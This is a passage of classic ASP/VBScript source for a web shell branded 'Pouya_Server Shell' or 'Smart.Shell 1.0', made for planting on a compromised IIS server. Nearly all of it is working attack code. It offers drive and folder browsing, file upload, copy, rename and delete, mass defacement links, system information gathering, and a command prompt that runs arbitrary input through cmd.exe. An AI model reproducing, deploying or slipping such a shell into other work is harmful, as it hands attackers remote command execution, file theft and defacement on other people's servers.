		If Not oFS.FolderExists(sPath) Then Exit Sub
		Set oFile = oFS.CreateTextFile(sPath &amp; FileName, True)
		For nIndex = 1 to LenB(FileData)
		    oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
		Next
		oFile.Close
	End Sub
	Public Sub SaveToDatabase(ByRef oField)
		If LenB(FileData) = 0 Then Exit Sub
		If IsObject(oField) Then
			oField.AppendChunk FileData
		End If
	End Sub
End Class
startcode = "&lt;html&gt;&lt;head&gt;&lt;title&gt;.:: Pouya_Server Shell ::.&lt;/title&gt;&lt;/head&gt;&lt;body&gt;"
endocde = "&lt;/body&gt;&lt;/html&gt;"
onlinehelp = "&lt;font face=""arial"" size=""1""&gt;.:: &lt;a href=""http://www.programmer.ir"" target=""_blank""&gt;ONLINE HELP&lt;/a&gt; ::.&lt;/font&gt;&lt;br&gt;"
Function HexConv(hexVar)
	Dim hxx, hxx_var, multiply          
         IF hexVar &lt;&gt; "" THEN
              hexVar = UCASE(hexVar)
              hexVar = StrReverse(hexVar)
              DIM hx()
              REDIM hx(LEN(hexVar))
              hxx = 0
              hxx_var = 0
              FOR hxx = 1 TO LEN(hexVar)
                   IF multiply = "" THEN multiply = 1
                   hx(hxx) = mid(hexVar,hxx,1)
                   hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
                   multiply = (multiply * 16)
              NEXT
              hexVar = hxx_var
              HexConv = hexVar
         END IF
End Function
cprthtml = "&lt;font face='arial' size='1'&gt;.:: Smart.Shell 1.0 &amp;copy; BY &lt;a href='mailto:'&gt;P0uY@&lt;/a&gt; - &lt;a href='' target='_blank'&gt;_$3r\/3R&lt;/a&gt; ::.&lt;/font&gt;"
Function get_hxno(ghx)
         If ghx = "A" Then
              ghx = 10
         ElseIf ghx = "B" Then
              ghx = 11
         ElseIf ghx = "C" Then
              ghx = 12
         ElseIf ghx = "D" Then
              ghx = 13
         ElseIf ghx = "E" Then
              ghx = 14
         ElseIf ghx = "F" Then
              ghx = 15
         End If
         get_hxno = ghx
End Function

keydec="&lt;font face='arial' size='1'&gt;.:: Smart.Shell 1.0 &amp;copy; BY &lt;a href='mailto:'&gt;P0Uiy@_$3r\/3R&lt;/a&gt; - &lt;a href='' target='_blank'&gt;&lt;/a&gt; ::.&lt;/font&gt;"
Function showobj(objpath)
	showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
End Function
Function showobjpath(objpath)
	showobjpath = Left(objpath,InstrRev(objpath,"\"))
End Function
Function checking(a,b)
'	If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
'		pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) &amp; "?action=error"
'		Response.Redirect(pagina)
'	End If
End Function
Sub hdr()
	Response.Write startcode
	Response.Write keydec
	Response.Write "&lt;br&gt;"
End Sub

sub araBul(path_,ara_)
	on error resume next
	If Len(path_) &gt; 0 Then
		cur = path_&amp;"\"
		If cur = "\\" Then cur = ""
			parent = ""
			If InStrRev(cur,"\") &gt; 0 Then
			parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
		End If
	Else
		cur = ""
	End If
	
	Set f = myFSO.GetFolder(cur)

	Set fc = f.Files
	For Each f1 In fc
		if lcase(InStr(1,f1.name,lcase(ara_)))&gt;0 then
			downStr = "&lt;font face=webdings size=5&gt;&lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=download&amp;file=" &amp; Replace(f1.path,"\","|") &amp;"'&gt;Í&lt;/a&gt;&lt;/font&gt;"
			if lcase(ara_)="mdb" then
				Response.Write downStr&amp;"&lt;font face=wingdings size=5&gt;&lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp;"?action=del&amp;path=" &amp; Replace(f1.path,"\","|") &amp; "'&gt;û&lt;/a&gt;&lt;/font&gt; * &lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp;"?action=search&amp;status=7&amp;path="&amp;f1.path&amp;"'&gt;"&amp; f1.path &amp;" ["&amp;f1.size&amp;"]"&amp;"&lt;/a&gt;&lt;/b&gt;&lt;br&gt;"
			else 
				Response.Write downStr&amp;"&lt;font face=wingdings size=5&gt;&lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp;"?action=del&amp;path=" &amp; Replace(f1.path,"\","|") &amp; "'&gt;û&lt;/a&gt;&lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=txtedit&amp;file=" &amp; Replace(f1.path,"\","|") &amp;"'&gt;!&lt;/a&gt;&lt;/font&gt; - &lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp;"?action=search&amp;status=5&amp;path="&amp;f1.path&amp;"'&gt;"&amp; f1.path &amp;" ["&amp;f1.size&amp;"]&lt;/a&gt;&lt;/b&gt;&lt;br&gt;"
			end if
		end if
	Next

	Set fs = f.SubFolders
	For Each f1 In fs
		araBul f1.path,ara_
	Next
	Set	f		= Nothing
	Set fc		= Nothing
	Set fs		= Nothing
end sub


Sub showcontent()
	showdisks=TRUE
	Response.Write "&lt;font face=""arial"" size=""1""&gt;.:: &lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?raiz=root""&gt;DRIVES&lt;/a&gt; ::.&lt;br&gt;.:: SCRIPT PATH: " &amp; UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) &amp; "&lt;br&gt;&lt;br&gt;&lt;/font&gt;"
	If Trim(Request.QueryString("raiz")) = "root" Then
		Set fs=Server.Createobject("Scripting.FileSystemObject")
		Set drivecollection=fs.drives
		Response.Write "&lt;font face=""arial"" size=""2""&gt;"
		For Each drive IN drivecollection 
			str=drive.driveletter &amp; ":"
			Response.Write "&lt;b&gt;&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?raiz=" &amp; str &amp; """&gt;" &amp; UCase(str) &amp; "&lt;/a&gt;&lt;/b&gt;&lt;br&gt;"
			Select Case drive.DriveType
				Case 0
					tipodrive = "Unknown"
					nomedrive = drive.VolumeName
				Case 1
					tipodrive = "Removable"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 2
					tipodrive = "Fixed"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 3
					tipodrive = "Network"
					If drive.isready Then
						nomedrive = drive.ShareName
					Else
						nomedrive = ""
					End If
				Case 4
					tipodrive = "CD-Rom"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 5
					tipodrive = "RAM Disk"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
			End Select
			response.write "&lt;b&gt;Type:&lt;/b&gt; " &amp; tipodrive &amp; "&lt;br&gt;"
			response.write "&lt;b&gt;Name: &lt;/b&gt;" &amp; nomedrive &amp; "&lt;br&gt;"
			response.write "&lt;b&gt;File System: &lt;/b&gt;"
			If drive.isready Then
				set sp=fs.getdrive(str)
				response.write sp.filesystem &amp; "&lt;br&gt;"
			Else
			response.write "-&lt;br&gt;"
			End If
			Response.Write "&lt;b&gt;Disk Space: &lt;/b&gt;"
			If drive.isready Then
				freespace = (drive.AvailableSpace / 1048576)
				set sp=fs.getdrive(str)
				response.write(Round(freespace,1) &amp; " MB&lt;br&gt;")
			Else
				response.write("-&lt;br&gt;")
			End If
			Response.Write "&lt;b&gt;Total Space: &lt;/b&gt;"
			If drive.isready Then
				totalspace = (drive.TotalSize / 1048576)
				set sp=fs.getdrive(str)
				response.write(Round(totalspace,1) &amp; " MB&lt;br&gt;")
			Else
				response.write("-&lt;br&gt;")
			End If
			Response.Write "&lt;br&gt;"
		Next
		Response.Write "&lt;/font&gt;"
		Set fs = Nothing
		Set drivecollection = Nothing
		set sp=Nothing
	Else
		If Trim(Request.QueryString("raiz")) = "" Then
			caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
			pos = Instr(caminho,"\")
			pos2 = 1
			While pos2 &lt;&gt; 0
				If Instr(pos + 1,caminho,"\") &lt;&gt; 0 Then
					pos = Instr(pos + 1,caminho,"\")
				Else
					pos2 = 0
				End If
			Wend
			raiz = Left(caminho,pos)
		Else
			raiz =  trim(Request.QueryString("raiz")) &amp; "\"
		End If
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MonRep = ObjFSO.GetFolder(raiz)
		Set ColFolders = MonRep.SubFolders
		Set ColFiles0 = MonRep.Files
		Response.Write "&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=mass&amp;massact=test&amp;path=" &amp; Replace(raiz,"\","|") &amp; "', 'win1','width=600,height=300,scrollbars=YES,resizable')""&gt;MASS TEST IN " &amp; UCase(raiz) &amp; "&lt;/a&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;"
		Response.Write "&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=mass&amp;massact=dfc&amp;path=" &amp; Replace(raiz,"\","|") &amp; "', 'win1','width=700,height=300,scrollbars=YES,resizable')""&gt;MASS DEFACE IN " &amp; UCase(raiz) &amp; "&lt;/a&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;"
		Response.Write "&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=upload&amp;path=" &amp; Replace(raiz,"\","|") &amp; "', 'win1','width=500,height=100,scrollbars=YES,resizable')""&gt;UPLOAD FILE TO " &amp; UCase(raiz) &amp; "&lt;/a&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;"

		Response.Write "&lt;font face='arial' size='1'&gt;"
		Response.Write "&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=cmd', 'win1','width=450,height=200,scrollbars=YES,resizable')""&gt;PROMPT&lt;/a&gt;"
		Response.Write " - &lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')""&gt;SYS INFO&lt;/a&gt;"
		Response.Write " - &lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=reg', 'win1','width=550,height=200,scrollbars=YES,resizable')""&gt;REGEDIT&lt;/a&gt;"
		Response.Write " - &lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=search&amp;path=" &amp; Replace(raiz,"\","|") &amp; "', 'win1','width=500,height=100,scrollbars=YES,resizable')""&gt;SEARCH&lt;/a&gt;"
		Response.Write " - &lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=sqlserver', 'win1','width=550,height=150,scrollbars=YES,resizable')""&gt;EXECUTE SQL&lt;/a&gt;"
		Response.Write " - &lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=about', 'win1','width=550,height=250,scrollbars=YES,resizable')""&gt;ABOUT&lt;/a&gt;"
		Response.Write "&lt;/font&gt;&lt;br&gt;&lt;br&gt;"


		Response.Write "&lt;font face='arial'&gt;&lt;b&gt;Root Folder: " &amp; raiz &amp; "&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;"
		If CInt(Len(raiz) - 1) &lt;&gt; 2 Then
			barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1
			backlevel = Left(raiz,barrapos)
			Response.Write "&lt;font face='arial' size='2'&gt;&lt;b&gt;&amp;lt;DIR&amp;gt;&lt;a href='" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?raiz=" &amp; backlevel &amp; "'&gt; . . &lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;br&gt;"
		Else
			Response.Write "&lt;font face='arial' size='2'&gt;&lt;b&gt;&amp;lt;DIR&amp;gt;&lt;a href='" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?raiz=root'&gt; . .&amp;nbsp;&lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;br&gt;"
		End If
		Response.Write "&lt;table border=""0"" cellspacing=""0"" cellpadding=""0"" &gt;"
		for each folderItem in ColFolders
			Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face='arial' size='2'&gt;&lt;b&gt;&amp;lt;DIR&amp;gt; &lt;a href='" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?raiz=" &amp; folderItem.path &amp; "'&gt;" &amp; showobj(folderItem.path) &amp; "&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=put&amp;path=" &amp; Replace(folderItem.path,"\","|") &amp; "', 'win1','width=400,height=250,scrollbars=YES,resizable')""&gt;&amp;lt;&amp;lt; PUT&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;"
			Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=fcopy&amp;path=" &amp; Replace(folderItem.path,"\","|") &amp; "', 'win1','width=400,height=100,scrollbars=YES,resizable')""&gt;&amp;lt;&amp;lt; Copy/Move&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;"
			Response.Write "&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=fdel&amp;path=" &amp; Replace(folderItem.path,"\","|") &amp; "', 'win1','width=400,height=150,scrollbars=YES,resizable')""&gt;&amp;lt;&amp;lt; Delete&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
		next
		Response.Write "&lt;/table&gt;&lt;br&gt;&lt;table border=""0"" cellspacing=""0"" cellpadding=""0"" &gt;"
		marcatabela = true
		for each FilesItem0 in ColFiles0
			If marcatabela = true then
				corfundotabela = " bgcolor=""#EEEEEE"""
			Else
				corfundotabela = ""
			End If
			Response.Write "&lt;tr&gt;&lt;td" &amp; corfundotabela &amp; "&gt;&lt;font face='arial' size='2'&gt;:: " &amp; showobj(FilesItem0.path) &amp; "&lt;/td&gt;&lt;td valign='baseline'" &amp; corfundotabela &amp; "&gt;&lt;font face='arial' size='1'&gt;&amp;nbsp;&amp;nbsp;" &amp; FormatNumber(FilesItem0.size/1024, 0) &amp; "&amp;nbsp;Kbytes&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/td&gt;&lt;td valign='baseline'" &amp; corfundotabela &amp; "&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=get&amp;path=" &amp; Replace(FilesItem0.path,"\","|") &amp; "', 'win1','width=400,height=200,scrollbars=YES,resizable')""&gt;o.GET.o&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;td valign='baseline'" &amp; corfundotabela &amp; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=ren&amp;path=" &amp; Replace(FilesItem0.path,"\","|") &amp; "', 'win1','width=400,height=200,scrollbars=YES,resizable')""&gt;o.REN.o&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;td valign='baseline'" &amp; corfundotabela &amp; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=del&amp;path=" &amp; Replace(FilesItem0.path,"\","|") &amp; "', 'win1','width=400,height=200,scrollbars=YES,resizable')""&gt;o.DEL.o&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;td valign='baseline'" &amp; corfundotabela &amp; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=txtview&amp;file=" &amp; Replace(FilesItem0.path,"\","|") &amp; "', 'win1','width=640,height=480,scrollbars=YES,resizable')""&gt;o.VIEW.o&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;td valign='baseline'" &amp; corfundotabela &amp; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""#"" onclick=""javascript:document.open('" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=txtedit&amp;file=" &amp; Replace(FilesItem0.path,"\","|") &amp; "', 'win1','width=760,height=520,scrollbars=YES,resizable')""&gt;o.EDIT.o&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;td valign='baseline'" &amp; corfundotabela &amp; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=download&amp;file=" &amp; Replace(FilesItem0.path,"\","|") &amp; """&gt;o.DOWNLOAD.o&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;td valign='baseline'" &amp; corfundotabela &amp; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a target='opener' href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=filecopy&amp;file=" &amp; Replace(FilesItem0.path,"\","|") &amp; """&gt;o.FileCopy.o&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
			marcatabela = NOT marcatabela
		next
		Response.Write "&lt;/table&gt;"
	End If
End Sub
Select Case Trim(Request.QueryString("action"))
	Case "get"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MyFile = ObjFSO.GetFile(caminho)
		destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
		MyFile.Copy (destino)
		If Err.Number = 0 Then
			Response.Write "&lt;font face='arial' size='2'&gt;&lt;center&gt;&lt;br&gt;&lt;br&gt;File: &lt;b&gt;" &amp; caminho &amp; "&lt;/b&gt;&lt;br&gt;Copied to: " &amp; destino
		End If	
	Case "put"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		If Trim(Request.QueryString("arquivo")) = "" Then
			caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
			varpath = Trim(Request.QueryString("path"))
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MonRep = ObjFSO.GetFolder(caminho)
			Set ColFolders = MonRep.SubFolders
			Set ColFiles0 = MonRep.Files

			Response.Write "&lt;font face='arial' size='2'&gt;&lt;b&gt;Select File: &lt;br&gt;&lt;table border=""0"" cellspacing=""0"" cellpadding=""0"" &gt;"
			for each FilesItem0 in ColFiles0
				Response.Write "&lt;tr&gt;&lt;td&gt;&lt;font face='arial' size='2'&gt;:: " &amp; showobj(FilesItem0.path) &amp; "&lt;/td&gt;&lt;td valign='baseline'&gt;&lt;font face='arial' size='1'&gt;&amp;nbsp;&amp;nbsp;" &amp; FormatNumber(FilesItem0.size/1024, 0) &amp; "&amp;nbsp;Kbytes&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/td&gt;&lt;td valign='baseline'&gt;&amp;nbsp;&amp;nbsp;&lt;font face='arial' size='1'&gt;&lt;a href=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=put&amp;path=" &amp; varpath &amp; "&amp;arquivo=" &amp; Replace(FilesItem0.path,"\","|") &amp; """&gt;:: SELECT ::&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;"
			next
			Response.Write "&lt;/table&gt;"
		Else
			destino = Replace(Trim(Request.QueryString("path")),"|","\") &amp; "\"
			arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MyFile = ObjFSO.GetFile(arquivo)
			MyFile.Copy (destino)
			If Err.Number = 0 Then
				Response.Write "&lt;font face='arial' size='2'&gt;&lt;center&gt;&lt;br&gt;&lt;br&gt;File: &lt;b&gt;" &amp; arquivo &amp; "&lt;/b&gt;&lt;br&gt;Copied to: &lt;b&gt;" &amp; destino
			End If
		End If
	Case "del"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MyFile = ObjFSO.GetFile(caminho)
		MyFile.Delete
		If Err.Number = 0 Then
			Response.Write "&lt;SCRIPT LANGUAGE=""JavaScript""&gt;self.opener.document.location.reload();&lt;/SCRIPT&gt;"
			Response.Write "&lt;font face='arial' size='2'&gt;&lt;center&gt;&lt;br&gt;&lt;br&gt;Folder &lt;b&gt;" &amp; caminho &amp; "&lt;/b&gt; Deleted.&lt;br&gt;"
		End If

	Case "fdel"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		ObjFSO.DeleteFolder caminho
		If Err.Number = 0 Then
			Response.Write "&lt;SCRIPT LANGUAGE=""JavaScript""&gt;self.opener.document.location.reload();&lt;/SCRIPT&gt;"
			Response.Write "&lt;font face='arial' size='2'&gt;&lt;center&gt;&lt;br&gt;&lt;br&gt;File &lt;b&gt;" &amp; caminho &amp; "&lt;/b&gt; Deleted.&lt;br&gt;"
		End If

	Case "ren"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		If Trim(Request.QueryString("status")) &lt;&gt; "2" Then
			caminho = Replace(Trim(Request.QueryString("path")),"|","\")
			arquivo = showobj(caminho)
			Response.Write "&lt;br&gt;&lt;font face=""arial"" size=""2""&gt;&lt;b&gt;" &amp; arquivo &amp; "&lt;/b&gt;&lt;br&gt;" &amp; _
						       "&lt;form action=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; """ method=""get""&gt;" &amp; _
						       "&lt;input type=""hidden"" name=""action"" value=""ren""&gt;" &amp; _
						       "&lt;input type=""hidden"" name=""status"" value=""2""&gt;" &amp; _
						       "&lt;input type=""hidden"" name=""path"" value=""" &amp; Trim(Request.QueryString("path")) &amp; """&gt;" &amp; _
						       "New Name: &lt;input type=""text"" name=""newname""&gt;" &amp; _
						       "&amp;nbsp;&amp;nbsp;&lt;input type=""submit"" value=""Submit""&gt;" &amp; _
						       "&lt;/form&gt;"
		Else
			caminho = Replace(Trim(Request.QueryString("path")),"|","\")
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MyFile = ObjFSO.GetFile(caminho)
			destino = Left(caminho,InStrRev(caminho,"\")) &amp; Trim(Request.QueryString("newname"))
			MyFile.Move (destino)
			If Err.Number = 0 Then
				Response.Write "&lt;font face='arial' size='2'&gt;&lt;center&gt;&lt;br&gt;&lt;br&gt;Arquivo: &lt;b&gt;" &amp; caminho &amp; "&lt;/b&gt;&lt;br&gt;renomeado para&lt;b&gt;: " &amp; destino
				Response.Write "&lt;SCRIPT LANGUAGE=""JavaScript""&gt;self.opener.document.location.reload();&lt;/SCRIPT&gt;"
			End If	
		End If
	Case "error"
		Response.Write "&lt;center&gt;&lt;font face='arial' size='2' color='red'&gt; &lt;b&gt;CÓDIGO CORROMPIDO&lt;BR&gt;CORRUPT CODE&lt;/font&gt;&lt;/center&gt;"
	Case "cmd"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		Set oScript = Server.CreateObject("WSCRIPT.SHELL") 
		Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 
		Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
		szCMD = Request.QueryString(".CMD") 
		If (szCMD &lt;&gt; "") Then 
			szTempFile = "c:\" &amp; oFileSys.GetTempName( ) 
			Call oScript.Run ("cmd.exe /c " &amp; szCMD &amp; " &gt; " &amp; szTempFile, 0, True) 
			Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
		End If 
		Response.Write "&lt;FORM action=""" &amp; Request.ServerVariables("URL") &amp; """ method=""GET""&gt;&lt;input type=""hidden"" name=""action"" value=""cmd""&gt;&lt;input type=text name="".CMD"" size=45 value=""" &amp; szCMD &amp; """&gt;&lt;input type=submit value=""Run""&gt;&lt;/FORM&gt;&lt;br&gt;&lt;br&gt; "
		If (IsObject(oFile)) Then 
			On Error Resume Next 
			Response.Write "&lt;font face=""arial""&gt;"
			Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"&lt;br&gt;")," ","&amp;nbsp;")
			oFile.Close 
			Call oFileSys.DeleteFile(szTempFile, True) 
		End If 
	Case "info"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		Set WshNetwork = Server.CreateObject("WScript.Network")
		Set WshShell = Server.CreateObject("WScript.Shell")
		Set WshEnv = WshShell.Environment("SYSTEM")
		Response.Write "&lt;br&gt;&lt;font face=arial size=2&gt;"
		Response.Write "&lt;b&gt;User Properties:&lt;/b&gt;&lt;br&gt;"
		Response.Write "&lt;b&gt;UserName: &lt;/b&gt;" &amp; WshNetwork.UserName &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Computer Name: &lt;/b&gt;" &amp; WshNetwork.ComputerName &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;User Domain: &lt;/b&gt;" &amp; WshNetwork.UserDomain &amp; "&lt;br&gt;"
		Set Drives = WshNetwork.EnumNetworkDrives
		For i = 0 to Drives.Count - 1
			Response.Write "&lt;b&gt;Drive de Rede (Mapeado): &lt;/b&gt;" &amp; Drives.Item(i) &amp; "&lt;br&gt;"
		Next
		Response.Write "&lt;br&gt;&lt;b&gt;Cpu Information:&lt;/b&gt;&lt;br&gt;"
		Response.Write "&lt;b&gt;Processor Architecture: &lt;/b&gt;" &amp; WshEnv("PROCESSOR_ARCHITECTURE") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Number Of Processors: &lt;/b&gt;" &amp; WshEnv("NUMBER_OF_PROCESSORS") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Processor Identifier: &lt;/b&gt;" &amp; WshEnv("PROCESSOR_IDENTIFIER") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Processor Level: &lt;/b&gt;" &amp; WshEnv("PROCESSOR_LEVEL") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Processor Revision: &lt;/b&gt;" &amp; WshEnv("PROCESSOR_REVISION") &amp; "&lt;br&gt;"
		Response.Write "&lt;br&gt;&lt;b&gt;Operating System Information:&lt;/b&gt;&lt;br&gt;"
		Response.Write "&lt;b&gt;IP: &lt;/b&gt;" &amp; request.servervariables("LOCAL_ADDR") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Sistem OS: &lt;/b&gt;" &amp; WshEnv("OS") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Server Software: &lt;/b&gt;" &amp; request.servervariables("SERVER_SOFTWARE") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Cmd Path: &lt;/b&gt;" &amp; WshShell.ExpandEnvironmentStrings("%ComSpec%") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Public Paths: &lt;/b&gt;" &amp; WshEnv("PATH") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Executables: &lt;/b&gt;" &amp; WshEnv("PATHEXT") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;Prompt: &lt;/b&gt; " &amp; WshEnv("PROMPT") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;System Drive: &lt;/b&gt;" &amp; WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;System Root: &lt;/b&gt;" &amp; WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") &amp; "&lt;br&gt;"
		Response.Write "&lt;b&gt;System32 Path: &lt;/b&gt;" &amp; WshShell.CurrentDirectory &amp; "&lt;br&gt;"
		Set Drives = Nothing
		Set WshNetwork = Nothing
		Set WshShell = Nothing
		Set WshEnv = Nothing
	Case "reg"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		Set WshShell = Server.CreateObject("WScript.Shell")
